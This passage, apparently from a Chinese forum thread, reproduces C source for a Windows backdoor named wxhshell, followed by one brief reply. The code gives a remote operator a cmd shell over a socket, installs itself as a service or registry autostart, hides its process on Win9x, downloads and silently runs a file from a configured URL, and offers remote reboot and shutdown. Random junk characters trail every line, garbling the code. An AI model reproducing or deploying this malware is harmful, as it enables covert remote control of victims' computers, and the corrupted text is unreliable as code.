  else y"zZ9HQM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XZ/cREz^s  
  } =DI/|^j{ ;  
  else { Ul:M=8nE%  
a3:1`c/~\  
    switch(cmd[0]) { yeV|j\TJI.  
  J z-RMX=  
  // 帮助 }/7rA)_  
  case '?': { Angt=q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t5S!j2E  
    break; ) =|8%IrB  
  } D]K?ntS[*  
  // 安装 !Eb!y`jK  
  case 'i': { .y#>mXm>  
    if(Install()) *,wW-8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,go$ 6  
    else No]#RvEd3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @DyMq3Gt?&  
    break; -nB. .q  
    } tj tN<y  
  // 卸载 4& 9V  
  case 'r': { x|3G}[=  
    if(Uninstall()) ES[]A&tf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G\*`%B_ n  
    else =n M Aw&`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Y>@t6E4  
    break; q}J Eesf  
    } z-`4DlJUS  
  // 显示 wxhshell 所在路径 7*47mJyc  
  case 'p': { QQUZneIDp  
    char svExeFile[MAX_PATH]; 49 1 1  
    strcpy(svExeFile,"\n\r"); BNbz{tbX"  
      strcat(svExeFile,ExeFile); 5+*CBG}  
        send(wsh,svExeFile,strlen(svExeFile),0); >):>Pz%U  
    break; e41r!od  
    } 8jgamG  
  // 重启 mB*;>   
  case 'b': { %eE 6\f%g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2B]mD-~  
    if(Boot(REBOOT)) AXpyia7nU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iKgH :[j  
    else { l`*R !\  
    closesocket(wsh); < #7j~<  
    ExitThread(0); E)( Rhvij  
    } Iyt.`z  
    break; x]|-2t  
    } );V.le}%(  
  // 关机 CNyV6jb  
  case 'd': { ?rgtbiSW-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UjS,<>fm  
    if(Boot(SHUTDOWN)) /QVhT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DX8pd5 U  
    else { FeuqqZ\=&  
    closesocket(wsh); +L#Q3}=s  
    ExitThread(0); =' #yG(h  
    } }&IOBYHVDo  
    break; 6zW3!_tz  
    } Bl v @u?  
  // 获取shell s;YuB#Z  
  case 's': { 1Ozy;;\-9  
    CmdShell(wsh); wnbKUlb  
    closesocket(wsh); R}\n @X*  
    ExitThread(0); Wj31mV  
    break; ,c[f/sT\  
  } of?'FrU  
  // 退出 O\)rp!i  
  case 'x': { _.3O(?p,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @# &y  
    CloseIt(wsh); ,$; pLjo6  
    break; u6~/" _FwY  
    } Y%)@)$sK  
  // 离开 ffS]%qa  
  case 'q': { m}?(c)ST  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bupDnTF  
    closesocket(wsh); ?ZT+4U00U  
    WSACleanup(); E=8$*YUW(g  
    exit(1); wx)Yl1 C  
    break; I]Jz[{~1  
        } >TZyax<:  
  } :sXn*k4v  
  } 1A-ess\  
Kq2,J&Ca3  
  // 提示信息 <GRrw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x9VR>ux&  
} @b"J FB|  
  } 6$*ZH *  
z\ ?cazQ  
  return; qx<h rC0Z&  
} H8'_.2vwX  
r__Y{&IO  
// shell模块句柄 W: vw.  
int CmdShell(SOCKET sock) i$!-mYi+Q!  
{ Q7@.WG5  
STARTUPINFO si; Ju.B!)uS#  
ZeroMemory(&si,sizeof(si)); p8a \> {  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0413K_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pf?y!d K<  
PROCESS_INFORMATION ProcessInfo; ts3BmfR?  
char cmdline[]="cmd"; Auz.wes  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (r+#}z}  
  return 0; # ^~[\8v>  
} *Af:^>mh  
_.y0 QkwV  
// 自身启动模式 &E&e5(&$  
int StartFromService(void) JD}"_,-  
{ DYKJVn7w  
typedef struct  B1!b@0^  
{ Mk~]0d  
  DWORD ExitStatus; PtT=HvP!k  
  DWORD PebBaseAddress; ZW0gd7Wh  
  DWORD AffinityMask; ni$S@0  
  DWORD BasePriority; qvH7otA  
  ULONG UniqueProcessId; Eu^? e  
  ULONG InheritedFromUniqueProcessId; %8a886;2  
}   PROCESS_BASIC_INFORMATION; Rg!Fu  
 DlWnz-  
PROCNTQSIP NtQueryInformationProcess; w[S!U<9/  
`Z:5E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |3A/Og  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =6sL}$  
TsB"<6@!AA  
  HANDLE             hProcess; gI SP .  
  PROCESS_BASIC_INFORMATION pbi; 2HemPth  
RN3-:Zd_X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;/Z9M"!u[  
  if(NULL == hInst ) return 0; :7w^2/ZGo  
oS/cS)N20  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )d\u_m W^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9$u'2TV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K9YD)351t  
gfPht 5  
  if (!NtQueryInformationProcess) return 0; >K2Md*[P3q  
DKG%z~R*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^K#PcPF-j  
  if(!hProcess) return 0; .%(Q*ioDh  
F(w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0~5'O[NhF  
=&J 7 'nDP  
  CloseHandle(hProcess); ]}~[2k.  
;;2Yfn'`9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2$g3ABfV  
if(hProcess==NULL) return 0; >Bj+!)96q  
LyRU2A  
HMODULE hMod; FOFZ/q  
char procName[255]; #Tjv(O[&  
unsigned long cbNeeded; 19u'{/Y"  
{q[l4_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YM idSfi  
us2X:X)  
  CloseHandle(hProcess); 43"` gF]  
Y 7a<3>  
if(strstr(procName,"services")) return 1; // 以服务启动 ]5+db0  
uK:?6>H  
  return 0; // 注册表启动 4+Sq[Rv0  
} {g:I5 A#  
}E\ b_.  
// 主模块 -\b$5oa(  
int StartWxhshell(LPSTR lpCmdLine) !f\q0Gnl  
{ :3z`+5Y*  
  SOCKET wsl; Fo=hL  
BOOL val=TRUE; v[r5!,F  
  int port=0; NDJIaX:]  
  struct sockaddr_in door; qH3|x08  
= h _>OA  
  if(wscfg.ws_autoins) Install(); n( |~z   
.o(XnY)cgJ  
port=atoi(lpCmdLine); rNgFsFQ>.  
Vt {uG  
if(port<=0) port=wscfg.ws_port; `h>a2   
lzQmD/i*  
  WSADATA data; DriJn`vtzq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FCC9Ht8U?  
JMMT886  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qP"+SVqC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -'j_JJ  
  door.sin_family = AF_INET; g:l5,j.K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;b(*Bh<  
  door.sin_port = htons(port); K0|8h!WF+  
J33enQd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vtvF)jlX  
closesocket(wsl); }tvLe3O  
return 1; Sn I-dXNF  
} e/pZLj]M  
G@YX8!w U  
  if(listen(wsl,2) == INVALID_SOCKET) { q~[@(+zP5  
closesocket(wsl); 7QXA*.' F  
return 1; i8F^ N=  
} 7oPLO(0L  
  Wxhshell(wsl); P8hA<{UFS\  
  WSACleanup(); z=}@aX[  
+d7sy0  
return 0; .AIlv^:|U  
j.? '*?P  
} &n_aMZ;  
cR/-FR  
// 以NT服务方式启动 hJr cy!P<a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cQ= "3M)~r  
{ X @;o<2^  
DWORD   status = 0; *Nv!Kuk  
  DWORD   specificError = 0xfffffff; -8j<`(M' 5  
Fap@cW3?8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L/2{}l>D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5_bIc=L1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C$9+p@G6  
  serviceStatus.dwWin32ExitCode     = 0; 2~:jg1  
  serviceStatus.dwServiceSpecificExitCode = 0; ikr|P&e#u  
  serviceStatus.dwCheckPoint       = 0; wA@y B"  
  serviceStatus.dwWaitHint       = 0; mN5`Fct*A>  
(8M^|z}q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'S_kD! BO  
  if (hServiceStatusHandle==0) return; 3~zK :(  
x$Gu)S  
status = GetLastError(); f.V1  
  if (status!=NO_ERROR) BXNt@%  
{ m!{}Y]FZn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kd 2?9gaw  
    serviceStatus.dwCheckPoint       = 0; q+A^JjzT  
    serviceStatus.dwWaitHint       = 0; Ix+===6  
    serviceStatus.dwWin32ExitCode     = status; PV_E3,RY  
    serviceStatus.dwServiceSpecificExitCode = specificError; <SiD m-=E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (~YFm"S  
    return; 4nC`DJ;V  
  } kbqG)  
4vri=P 2%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +UzFHiGy#  
  serviceStatus.dwCheckPoint       = 0; jy=dB-&  
  serviceStatus.dwWaitHint       = 0; O]ZP- WG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l `D>h2]  
} HOWm""IkB  
7qfo%n"  
// 处理NT服务事件,比如:启动、停止 ,vfi]_PK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h @{U>U7  
{ /:]`TlAb,  
switch(fdwControl) OBGA~E;%  
{ wzX 1!?  
case SERVICE_CONTROL_STOP: Qt+|s&HGt  
  serviceStatus.dwWin32ExitCode = 0; (TufvHC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JCjQR`)  
  serviceStatus.dwCheckPoint   = 0; 44H#8kV  
  serviceStatus.dwWaitHint     = 0; VE4Z;Dr"  
  { "NUl7ce.R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vn n4  
  } /*5t@_0fe  
  return; i^c  
case SERVICE_CONTROL_PAUSE: 4"$K66yk@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N3P!<J/tc  
  break; w7b?ve3-  
case SERVICE_CONTROL_CONTINUE: sOc<'):TK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E?c)WA2iH  
  break; s1,kTde  
case SERVICE_CONTROL_INTERROGATE: kV@*5yc?R  
  break; _ Je k;N  
}; l26DPtWi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D]+0X8@kH7  
} K`!q1 g`  
L8<Yk`jx  
// 标准应用程序主函数 [@Hv,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VKtrSY}6T  
{ }D5*   
9/$D&tRN  
// 获取操作系统版本 #J AU5d  
OsIsNt=GetOsVer(); {I s?>m4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pg3B^  
ny:c&XS  
  // 从命令行安装 )A]E:]2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3zJbb3e  
@kR/=EfS  
  // 下载执行文件 vF, !8e'v  
if(wscfg.ws_downexe) { ayfZ>x{s*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }8E//$J  
  WinExec(wscfg.ws_filenam,SW_HIDE); @;>TmLs  
} a jy.K'B*  
5TlPs_o  
if(!OsIsNt) { jd;=5(2  
// 如果时win9x,隐藏进程并且设置为注册表启动 4;;F(yk8  
HideProc(); C3fSSa%b  
StartWxhshell(lpCmdLine); EK:!.Fl  
} |;q*Zy(  
else m ys5B}  
  if(StartFromService()) }+U} [G  
  // 以服务方式启动 Gy36{*  
  StartServiceCtrlDispatcher(DispatchTable); RYMOLX84  
else jREj]V>  
  // 普通方式启动  /kGRN @  
  StartWxhshell(lpCmdLine); B 95}_q  
&_ er_V~  
return 0; i][7S mN  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五